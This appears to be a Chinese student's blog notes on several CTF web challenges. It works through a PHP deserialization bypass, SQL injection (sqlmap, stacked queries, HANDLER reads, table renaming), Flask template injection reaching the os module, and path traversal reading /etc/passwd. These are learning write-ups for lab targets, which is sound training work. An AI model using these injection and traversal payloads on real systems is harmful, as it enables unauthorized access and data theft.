题目源码:
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>
首先要知道,在进行反序列化时,使用 unserialize() 反序列化会先调用 __wakeup()函数,PHP文件在执行结束的时候会将对象销毁,也就是调用__destruct()函数。
看源码可以知道,__wakeup()函数会强制将文件名转为index.php,因此我们需要绕过__wakeup()函数,接下来执行的__destruct()函数会输出对应文件的内容,我们需要让文件名显示为我们要查看的文件。
后面的if语句对传递的参数$var进行匹配判断,根据正则表达式的语法规则:
正则表达式 – 语法 | 菜鸟教程
/ 为定界符,每段正则表达式必须要有一对定界符
使用了 i 修正符,因此会不区分大小写去匹配
定界符中间的内容,没有用|
隔开,匹配的是这一个类型格式的表达式:
[oc]匹配任何包含小写字母o,c的字符串,包含一个即可
\d匹配任何包含数字字符
+号代表前面的字符必须至少出现一次(1次或多次),在本例中,应该是表示至少有一个数字,也就是一位数以上
综上,匹配的是类似于O:1:
的字符串,也就是对序列化后的格式的字符串进行了匹配过滤,不允许传递这样格式的参数,否则报错,因此我们要对这个过滤用字符进行绕过。
因此我的想法是考虑和冒号之间用\
或''
将它们分隔一下来绕过。
绕过wakeup函数的话,当序列化字符串中属性值个数大于属性个数,就会导致反序列化异常,从而跳过__wakeup()
先写个序列化的脚本:
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
}
$a=new Demo('fl4g.php');
$b=serialize($a);
$b = str_replace('O:4', 'O:+4',$b);//绕过preg_match
$b = str_replace(':1:', ':2:',$b);//绕过wakeup
echo $b;
echo ("\n");
echo base64_encode($b);
?>
//输出结果:
//O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}
//TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
要绕过__wakeup()函数,就将Demo后的1改为2
绕过正则匹配,看到别人的题解里都是用+
绕过,也没人说为什么,用引号和反斜杠绕过都不行。
参考博客:
攻防世界web进阶区Web_php_unserialize,序列化大详解
题目:随便注
就是一道sql注入题
单引号注入:
id=’
出现报错:
尝试联合注入,发现存在过滤:
因此需要绕过过滤。
试过url编码和注释符/**/,都不太行,不知道怎么做。
用sqlmap爆破,命令及执行结果如下:
#获取数据库
python sqlmap.py -u "http://61.147.171.105:63433/?inject=2" --dbs
#查看当前使用的数据库
python sqlmap.py -u "http://61.147.171.105:63433/?inject=2" --current-db
#列出指定数据库的所有表
python sqlmap.py -u "http://61.147.171.105:63433/?inject=2" -D "supersqli" --tables
报错说没有表
尝试了一些都失败了,对sql注入原理了解得看来还是不太清楚,还是去看看别人的解析吧TAT。
参考博客:
攻防世界之supersqli
我也尝试过用order by,博客里用#注释,可是我后面用–+注释就不行,为什么啊!!
对sql注入的引号判断还是不太了解,再学习一下吧。
参考博客:
SQL注入攻击大全
单引号、双引号、字符型判断:
输入1'
,如果报错为''1'''
,最外侧一对单引号是MYSQL错误信息包含的引号,那么实际的报错部分就是'1''
,1后面的单引号是多余的,因此触发报错,就可以判断我们输入的参数就是单引号闭合的形式。
输入1"
,如果报错为'"1""'
,而输入1'
不会报错,则可以判断是双引号闭合
输入2-1
,如果能正常显示id=1
时的内容,则判断为数字型。
在本题中,我们可以试验看到:
inject=2-1
时,页面显示的是inject=2的内容
因此可以判断不是数字型,结合前面inject='
时的报错显示,可以判断本题是单引号闭合。
关于注释符:
参考博客:
SQL注入中,注释#、 --+、 --%20、 %23到底是什么意思?sqli-labs-master
一般来说--
注释符后面必须要有空格,但是get传参时空格会被忽略,因此通常采用--+
来闭合,因为+
会被解释为空格。
这一知识好像也解释了关于我构造的参数的空格在url中为什么会显示为+
的问题:
在上面的图片中,+
号被url编码为%2B,没有被当作空格,于是我们在--
和+
之间加一个空格试试:
发现可以出现列数的报错,并且--
和+
(%2B)之间的空格在url中被替换为+
,那我们再试试直接在--
后面加上空格,发现居然可以被正确替换为+
:
这下我已经完全理解了!
那接下来就开始正常的注入流程吧。
发现我对sql注入的流程理解也一般,根据参考博客了解到一般注入流程为:
1、判断闭合符:单引号闭合、双引号闭合、数字型
2、判断列数:用order by 4
(根据第4列/字段排序)或者union select 1,2,3,4
(选择出1,2,3,4列出来),如果报错说第4列不存在等,证明列数<4;如果正常显示查询结果,则首条查询语句包含4个字段。
3、查询数据库名:?id=-1' union select 1,database(),1--+
,注意id=-1
,此处id的值必须是一个在数据库中id字段不存在的值,否则联合查询第一条语句的查询结果将占据显示位,我们需要的第二条查询语句的查询结果就不能正常显示到浏览器中。(soga,原来如此)
4、查表名
5、查列名
6、查数据(4、5、6都要用id=-1)
在本题中,select被过滤掉了,因此不能用union select来查询,看到本题的参考博客里使用了堆叠注入,并且学到了用show databases
的语句来查看的方式。(知识++)
堆叠注入参考博客:
sql注入之堆叠注入
下面就是解题过程了:
-1';show databases;#
-1';use supersqli;show tables;#
-1';use supersqli;show columns from `1919810931114514`;#
#当纯数字字符串是表名的时候需要加反引号`
接下来就是从表1919810931114514
中查询flag
但是
select flag from `1919810931114514`
是行不通的,因为select被过滤了。
最简单的方法是使用handler查询法:
参考博客:
MYSQL神秘的HANDLER命令与实现方法
不想仔细看,只学了一下解题博客攻防世界之supersqli里的使用,
-1';use supersqli;handler `1919810931114514` open as p;handler p read first;#
然后是用的比较多的把存放flag的数字表名改成words,再把列名flag改成id,属于修改原查询法。
通过handler方法我们可以看到words表里的内容,可以看到第一列就是我们查询1
的时候的结果,也就是说,这个网页在查询数据库时,应该是默认的查询的表名为"words",查询的列名为"id",所以我们把flag所在的表名改成words,列名改成id,就可以在网页查询1时获得flag。
了解一下修改列名的格式:
语句:alter table + seat + change column +seatid + seat_id + int;
格式:alter table 表名 change column 旧列名 新列名 新列名格式;
参考博客:
【技巧】SQL中修改列名(column)
在本题中,先将原words表名修改成其他的名字,再将1919810931114514
改成words,然后修改列名:
-1';
alter table words rename to words1;
alter table `1919810931114514` rename to words;
alter table words change flag id varchar(100);#
此时如果直接查询1,是没有结果回显的,因为现在的flag列里没有值为1的内容,我们用1' or 1#
永真条件来显示表中的所有行来获取flag。
还有一种预编译绕过法:
-1';
set @sql = CONCAT('sele','ct flag from `1919810931114514`;');
prepare stmt from @sql;
EXECUTE stmt;#
看看就好,我不想学了,详细内容参考解题博客:)。
打开网页看到源码:
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
function encode($str){
$_o=strrev($str);
// echo $_o;
//strrev() 函数反转字符串。就是把字符串每个字符顺序完全反过来输出
for($_0=0;$_0<strlen($_o);$_0++){
$_c=substr($_o,$_0,1);
//substr() 函数返回字符串的一部分。在字符串$_o中从$_0位置开始返回1长度的字符串。
$__=ord($_c)+1;
$_c=chr($__);
$_=$_.$_c;
}
return str_rot13(strrev(base64_encode($_)));
}
highlight_file(__FILE__);
/*
逆向加密算法,解密$miwen就是flag
*/
?>
照着逆向加密的顺序解密。
rot13加密算法是对称的,加密一次是将字符前移或后移13位,而在加密一次则是将其前移或后移26位,就完全回到了原来的位置上,相当于解密。
解密脚本如下:
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
function decode($str){
$_o=base64_decode(strrev(str_rot13($str)));
echo($_o);
echo("\n");
//运行结果:
//~88:36e1bg8438e41757d:29cgeb6e48c`GUDTO|;hbmg
$_ = '';
for($_0=0;$_0<strlen($_o);$_0++){
$_c=substr($_o,$_0,1);
$__=ord($_c)-1;
$_c=chr($__);
$_=$_.$_c;
}
return strrev($_);
}
$mingwen=decode($miwen);
echo($mingwen);
//运行结果:
//flag:{NSCTF_b73d5adfb819c64603d7237fa0d52977}
?>
这题感觉和web关系不大,建议放到密码学类里。
打开网页如下:
什么都点不动,只有搜索框能用,抓包看了一下是post方式提交的参数,参数名是search。
猜一下可能是sql注入的题,搜索框输入'
,返回空白页面,可能是报错页面,又尝试1' or 1=1 --
,发现返回了全部的news信息,应该是成功构造了永真条件返回了表中的所有行。有了上面supersqli题的经验,我们可以判断这是一个单引号闭合的查询,并且由于是post方式提交参数,--
后面的空格可以被成功读取。
于是接下来判断列数:
//尝试:
1' order by 3 --
//页面正常返回,搜索结果为空
//尝试:
1' order by 4 --
//返回空页面
因此判断有3列。
接下来用联合注入尝试爆数据库:
-1' union select 1,database(),3 --
可以看到当前数据库为news。
使用group_concat()函数可以爆出所有数据库名:
-1' union select 1,group_concat(SCHEMA_NAME),3 from information_schema.schemata --
继续使用group_concat()函数可以爆出当前数据库所有表名:
1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='news' --
-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='secret_table' --
-1' union select 1,group_concat(fl4g),3 from secret_table --
毫无头绪,搜了一下template的意思是模板,这个题目是模板注入,没见过。
放几篇参考博客:
攻防世界-Web_python_template_injection详解
从零学习flask模板注入 - FreeBuf网络安全行业门户
{{}}是变量包裹标识符,既可以传递变量,还可以执行一些简单的表达式。
模板注入的基本原理:如果用户输入作为模板当中变量 的值,模板引擎一般会对用户输入进行编码转义,不容易造成XSS攻击,代码输入会原样输出;如果用户输入作为了模板内容的一部分,用户输入会原样输出,如果是代码脚本则会被执行。内容参考:
SSTI(模板注入)基础总结 - 简书
首先测试是否存在模板注入漏洞:
用最简单的表达式,判断是否会被执行:
url/{{2*7}}
然后是查看当前配置的全局变量,暂时没看明白这个步骤有什么用:
url/{{config}}
然后了解一下几个魔术方法的作用:
通过这些魔术方法的调用来执行命令:
__class__ 返回类型所属的对象
__mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__ 返回该对象所继承的基类 // __base__和__mro__都是用来寻找基类的
__subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__ 类的初始化方法
__globals__ 对包含函数全局变量的字典的引用
首先是查看可用的引用:
我就不管为什么是__mro__[2]了,当作默认的记住吧。
url/{{''.__class__.__mro__[2].__subclasses__()}}
//最前面的''应该也可以换成()或者[]
如上图,可以看到有一个type ‘file’,可以进行文件读取,位于从0开始数的第40号位置,因此,对于该类型的引用如下:
url/{{ [].__class__.__base__.__subclasses__()[40]('想读取的文件名').read() }}
接下来再查找可以用来执行命令的引用,我们需要用这样的引用来找到存有flag的文件在哪里以及文件名是什么。这些博客都说的是查找含有’os’模块的引用:
有一篇博客写了个脚本找到第71号引用(看名字感觉 )是可以用来进行命令执行打印结果的:
<class 'site._Printer'>
url/{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}
//不知道为什么最后面换成system('ls')用不了
url/{{''.__class__.__mro__[2].__subclasses__()[40]('fl4g').read()}}
尝试了sql注入和文件包含命令,没有什么头绪,搜搜别人的解析吧:)
参考博客:
攻防世界-cat_cat_new(flask_session伪造、/proc/self/文件夹) - 你呀你~ - 博客园
确实是文件包含漏洞,但是我的思路不对,一开始上来就用伪协议,返回的只有错误页面。
参考博客里一开始都是用?file=…/…/…/…/etc/passwd查看敏感文件。
从这篇博客里学到了读取当前进程的命令行参数,?file=../../../../proc/self/cmdline
,没见过,第一次见,神奇,但感觉可能记不住。
有一个通过python启动app.py的命令,所以该网站是一个python框架,且是flask框架,因为app.py文件常常为flask项目结构中的主程序文件。于是读取app.py文件查看文件内容。
将换行符与单引号去转义输出。
我用的网站:在线字符串转义—LZL在线工具
import os
import uuid
from flask import Flask, request, session, render_template, Markup
from cat import cat
flag = ""
app = Flask(
__name__,
static_url_path='/',
static_folder='static'
)
app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh"
if os.path.isfile("/flag"):
flag = cat("/flag")
#出现关键词flag
os.remove("/flag")
@app.route('/', methods=['GET'])
def index():
detailtxt = os.listdir('./details/')
cats_list = []
for i in detailtxt:
cats_list.append(i[:i.index('.')])
return render_template("index.html", cats_list=cats_list, cat=cat)
@app.route('/info', methods=["GET", 'POST'])
def info():
filename = "./details/" + request.args.get('file', "")
start = request.args.get('start', "0")
end = request.args.get('end', "0")
name = request.args.get('file', "")[:request.args.get('file', "").index('.')]
return render_template("detail.html", catname=name, info=cat(filename, start, end))
@app.route('/admin', methods=["GET"])
def admin_can_list_root():
if session.get('admin') == 1:
#需要session为admin才能获得flag
return flag
else:
session['admin'] = 0
return "NoNoNo"
if __name__ == '__main__':
app.run(host='0.0.0.0', debug=False, port=5637)
不想看了,看不懂,就先这样吧,跟着博客园做就能拿到flag,但是我不想努力了:)
——————————————————————————————————-————
先到这里吧,这些就是难度2的全部内容了,本篇还是有点长,接下来转到第(三)part